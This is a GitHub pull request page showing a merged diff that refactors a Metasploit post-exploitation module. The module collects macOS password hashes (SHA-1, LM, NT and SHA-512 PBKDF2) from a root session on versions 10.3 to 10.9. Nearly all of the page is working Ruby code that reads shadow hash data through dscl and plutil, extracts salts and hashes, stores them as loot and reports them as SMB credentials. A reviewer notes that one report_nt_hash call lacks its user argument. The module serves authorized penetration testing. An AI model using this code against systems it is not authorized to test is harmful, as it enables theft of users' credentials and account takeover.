-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Refactor OSX hashdump post module and add support for 10.8+ hashes #2735
Merged
Merged
Changes from 6 commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
969f45f
Refactor OSX hashdump post module.
joevennix eacab1b
Fix description, kill dead constant.
joevennix f981a04
Fix MATCHUSER bug.
joevennix 9b34a8f
Supports 10.3
joevennix 7f3ab14
Make pipe part of /bin/bash cmd.
joevennix df76651
Make sure loot is named correctly.
joevennix 6d1d45c
Add user param to nt_hash call.
joevennix 06b651d
Revert read_file to cat so that pipe will work.
joevennix File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -6,9 +6,11 @@ | |
require 'msf/core' | ||
require 'rex' | ||
require 'msf/core/auxiliary/report' | ||
|
||
require 'rexml/document' | ||
|
||
class Metasploit3 < Msf::Post | ||
# set of accounts to ignore while pilfering data | ||
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"] | ||
|
||
include Msf::Post::File | ||
include Msf::Auxiliary::Report | ||
|
@@ -17,48 +19,157 @@ def initialize(info={}) | |
super( update_info( info, | ||
'Name' => 'OS X Gather Mac OS X Password Hash Collector', | ||
'Description' => %q{ | ||
This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems. | ||
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports | ||
versions 10.3 to 10.9. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'], | ||
'Author' => [ | ||
'Carlos Perez <carlos_perez[at]darkoperator.com>', | ||
'hammackj <jacob.hammack[at]hammackj.com>', | ||
'joev' | ||
], | ||
'Platform' => [ 'osx' ], | ||
'SessionTypes' => [ "shell" ] | ||
'SessionTypes' => [ 'shell' ] | ||
)) | ||
|
||
register_options([ | ||
OptRegexp.new('MATCHUSER', [false, | ||
'Only attempt to grab hashes for users whose name matches this regex' | ||
]) | ||
]) | ||
end | ||
|
||
# Run Method for when run command is issued | ||
def run | ||
case session.type | ||
when /meterpreter/ | ||
host = session.sys.config.sysinfo["Computer"] | ||
when /shell/ | ||
host = session.shell_command_token("hostname").chomp | ||
end | ||
print_status("Running module against #{host}") | ||
running_root = check_root | ||
if running_root | ||
print_status("This session is running as root!") | ||
fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root? | ||
|
||
# build a single hash_file containing all users' hashes | ||
hash_file = '' | ||
|
||
# iterate over all users | ||
users.each do |user| | ||
next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user | ||
print_status "Attempting to grab shadow for user #{user}..." | ||
if gt_lion? # 10.8+ | ||
# pull the shadow from dscl | ||
shadow_bytes = grab_shadow_blob(user) | ||
next if shadow_bytes.blank? | ||
|
||
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist | ||
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml | ||
plist_bytes = shadow_bytes.split('').each_slice(2).map{|s| "\\x#{s[0]}#{s[1]}"}.join | ||
|
||
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil | ||
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'") | ||
|
||
# read the plaintext xml | ||
shadow_xml = REXML::Document.new(shadow_plist) | ||
|
||
# parse out the different parts of sha512pbkdf2 | ||
dict = shadow_xml.elements[1].elements[1].elements[2] | ||
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '') | ||
iterations = dict.elements[4].text.gsub(/\s+/, '') | ||
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '') | ||
|
||
# PBKDF2 stored in <user, iterations, salt, entropy> format | ||
decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}" | ||
print_good "SHA512:#{decoded_hash}" | ||
hash_file << decoded_hash | ||
elsif lion? # 10.7 | ||
# pull the shadow from dscl | ||
shadow_bytes = grab_shadow_blob(user) | ||
next if shadow_bytes.blank? | ||
|
||
# on 10.7 the ShadowHashData is stored in plaintext | ||
hash_decoded = shadow_bytes.upcase | ||
|
||
# Check if NT HASH is present | ||
if hash_decoded =~ /4F1010/ | ||
report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]) | ||
end | ||
|
||
# slice out the sha512 hash + salt | ||
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] | ||
print_status("SHA512:#{user}:#{sha512}") | ||
hash_file << "#{user}:#{sha512}\n" | ||
else # 10.6 and below | ||
# On 10.6 and below, SHA-1 is used for encryption | ||
guid = if gte_leopard? | ||
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp | ||
elsif lte_tiger? | ||
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp | ||
end | ||
|
||
# Extract the hashes | ||
sha1_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c169-216").chomp | ||
nt_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c1-32").chomp | ||
lm_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c33-64").chomp | ||
|
||
# Check that we have the hashes and save them | ||
if sha1_hash !~ /0000000000000000000000000/ | ||
print_status("SHA1:#{user}:#{sha1_hash}") | ||
hash_file << "#{user}:#{sha1_hash}" | ||
end | ||
if nt_hash !~ /000000000000000/ | ||
report_nt_hash(nt_hash) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I miss a second argument for report_nt_hash |
||
end | ||
if lm_hash !~ /0000000000000/ | ||
print_status("LM:#{user}:#{lm_hash}") | ||
print_status("Credential saved in database.") | ||
report_auth_info( | ||
:host => host, | ||
:port => 445, | ||
:sname => 'smb', | ||
:user => user, | ||
:pass => "#{lm_hash}:", | ||
:active => true | ||
) | ||
end | ||
end | ||
end | ||
ver_num = get_ver | ||
if running_root | ||
dump_hash(ver_num) | ||
# Save pwd file | ||
upassf = if gt_lion? | ||
store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file, | ||
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File") | ||
elsif lion? | ||
store_loot("osx.hashes.sha512", "text/plain", session, hash_file, | ||
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File") | ||
else | ||
print_error("Insufficient Privileges you must be running as root to dump the hashes") | ||
store_loot("osx.hashes.sha1", "text/plain", session, hash_file, | ||
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File") | ||
end | ||
print_good("Unshadowed Password File: #{upassf}") | ||
end | ||
|
||
#parse the dslocal plist in lion | ||
def read_ds_xml_plist(plist_content) | ||
private | ||
|
||
require "rexml/document" | ||
# @return [Bool] system version is at least 10.5 | ||
def gte_leopard? | ||
ver_num =~ /10\.(\d+)/ and $1.to_i >= 5 | ||
end | ||
|
||
# @return [Bool] system version is at least 10.8 | ||
def gt_lion? | ||
ver_num =~ /10\.(\d+)/ and $1.to_i >= 8 | ||
end | ||
|
||
# @return [String] hostname | ||
def host; session.session_host; end | ||
|
||
# @return [Bool] system version is 10.7 | ||
def lion? | ||
ver_num =~ /10\.(\d+)/ and $1.to_i == 7 | ||
end | ||
|
||
# @return [Bool] system version is 10.4 or lower | ||
def lte_tiger? | ||
ver_num =~ /10\.(\d+)/ and $1.to_i <= 4 | ||
end | ||
|
||
# parse the dslocal plist in lion | ||
def read_ds_xml_plist(plist_content) | ||
doc = REXML::Document.new(plist_content) | ||
keys = [] | ||
|
||
doc.elements.each("plist/dict/key") do |element| | ||
keys << element.text | ||
end | ||
doc.elements.each("plist/dict/key") { |n| keys << n.text } | ||
|
||
fields = {} | ||
i = 0 | ||
|
@@ -78,161 +189,48 @@ def read_ds_xml_plist(plist_content) | |
return fields | ||
end | ||
|
||
# Checks if running as root on the target | ||
def check_root | ||
# Get only the account ID | ||
id = cmd_exec("/usr/bin/id","-ru").chomp | ||
|
||
if id == "0" | ||
return true | ||
else | ||
return false | ||
end | ||
# reports the NT hash info to metasploit backend | ||
def report_nt_hash(nt_hash, user) | ||
return unless nt_hash.present? | ||
print_status("NT:#{user}:#{nt_hash}") | ||
print_status("Credential saved in database.") | ||
report_auth_info( | ||
:host => host, | ||
:port => 445, | ||
:sname => 'smb', | ||
:user => user, | ||
:pass => "AAD3B435B51404EE:#{nt_hash}", | ||
:active => true | ||
) | ||
end | ||
|
||
|
||
# Enumerate the OS Version | ||
def get_ver | ||
# Get the OS Version | ||
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp | ||
|
||
return osx_ver_num | ||
# Checks if running as root on the target | ||
# @return [Bool] current user is root | ||
def root? | ||
whoami == 'root' | ||
end | ||
|
||
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes | ||
def dump_hash(ver_num) | ||
print_status("Dumping Hashes") | ||
users = [] | ||
nt_hash = nil | ||
host = session.session_host | ||
|
||
# Path to files with hashes | ||
sha1_file = "" | ||
|
||
# Check if system is Lion if not continue | ||
if ver_num =~ /10\.(7)/ | ||
|
||
hash_decoded = "" | ||
|
||
# get list of profiles present in the box | ||
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n") | ||
|
||
if profiles | ||
profiles.each do |p| | ||
# Skip none user profiles | ||
next if p =~ /^_/ | ||
next if p =~ /^daemon|root|nobody/ | ||
|
||
# Turn profile plist in to XML format | ||
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") | ||
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}") | ||
file = cmd_exec("cat","/tmp/#{p.chomp}") | ||
|
||
# Clean up using secure delete overwriting and zeroing blocks | ||
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}") | ||
|
||
# Process XML Plist into a usable hash | ||
plist_values = read_ds_xml_plist(file) | ||
|
||
# Extract the shadow hash data, decode it and format it | ||
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| | ||
hash_decoded << sprintf("%02X", b) | ||
end | ||
user = plist_values['name'].join("") | ||
|
||
# Check if NT HASH is present | ||
if hash_decoded =~ /4F1010/ | ||
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0] | ||
end | ||
|
||
# Carve out the SHA512 Hash, the first 4 bytes is the salt | ||
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] | ||
|
||
print_status("SHA512:#{user}:#{sha512}") | ||
sha1_file << "#{user}:#{sha512}\n" | ||
|
||
# Reset hash value | ||
sha512 = "" | ||
|
||
if nt_hash | ||
print_status("NT:#{user}:#{nt_hash}") | ||
print_status("Credential saved in database.") | ||
report_auth_info( | ||
:host => host, | ||
:port => 445, | ||
:sname => 'smb', | ||
:user => user, | ||
:pass => "AAD3B435B51404EE:#{nt_hash}", | ||
:active => true | ||
) | ||
|
||
# Reset hash value | ||
nt_hash = nil | ||
end | ||
# Reset hash value | ||
hash_decoded = "" | ||
end | ||
end | ||
# Save pwd file | ||
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File") | ||
print_good("Unshadowed Password File: #{upassf}") | ||
|
||
# If system was lion and it was processed nothing more to do | ||
return | ||
end | ||
|
||
users_folder = cmd_exec("/bin/ls","/Users") | ||
|
||
users_folder.each_line do |u| | ||
next if u.chomp =~ /Shared|\.localized/ | ||
users << u.chomp | ||
end | ||
# Process each user | ||
users.each do |user| | ||
if ver_num =~ /10\.(6|5)/ | ||
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp | ||
elsif ver_num =~ /10\.(4|3)/ | ||
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp | ||
end | ||
# @return [String] containing blob for ShadowHashData in user's plist | ||
# @return [nil] if shadow is invalid | ||
def grab_shadow_blob(user) | ||
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '') | ||
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:' | ||
# strip the other bytes | ||
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '') | ||
end | ||
|
||
# Extract the hashes | ||
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp | ||
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp | ||
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp | ||
# @return [Array<String>] list of user names | ||
def users | ||
@users ||= cmd_exec("/bin/ls /Users").each_line.collect.map(&:chomp) - OSX_IGNORE_ACCOUNTS | ||
end | ||
|
||
# Check that we have the hashes and save them | ||
if sha1_hash !~ /00000000000000000000000000000000/ | ||
print_status("SHA1:#{user}:#{sha1_hash}") | ||
sha1_file << "#{user}:#{sha1_hash}" | ||
end | ||
# @return [String] version string (e.g. 10.8.5) | ||
def ver_num | ||
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp | ||
end | ||
|
||
if nt_hash !~ /000000000000000/ | ||
print_status("NT:#{user}:#{nt_hash}") | ||
print_status("Credential saved in database.") | ||
report_auth_info( | ||
:host => host, | ||
:port => 445, | ||
:sname => 'smb', | ||
:user => user, | ||
:pass => "AAD3B435B51404EE:#{nt_hash}", | ||
:active => true | ||
) | ||
end | ||
if lm_hash !~ /0000000000000/ | ||
print_status("LM:#{user}:#{lm_hash}") | ||
print_status("Credential saved in database.") | ||
report_auth_info( | ||
:host => host, | ||
:port => 445, | ||
:sname => 'smb', | ||
:user => user, | ||
:pass => "#{lm_hash}:", | ||
:active => true | ||
) | ||
end | ||
end | ||
# Save pwd file | ||
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File") | ||
print_good("Unshadowed Password File: #{upassf}") | ||
# @return [String] name of current user | ||
def whoami | ||
@whoami ||= cmd_exec('/usr/bin/whoami').chomp | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I miss a second argument for report_nt_hash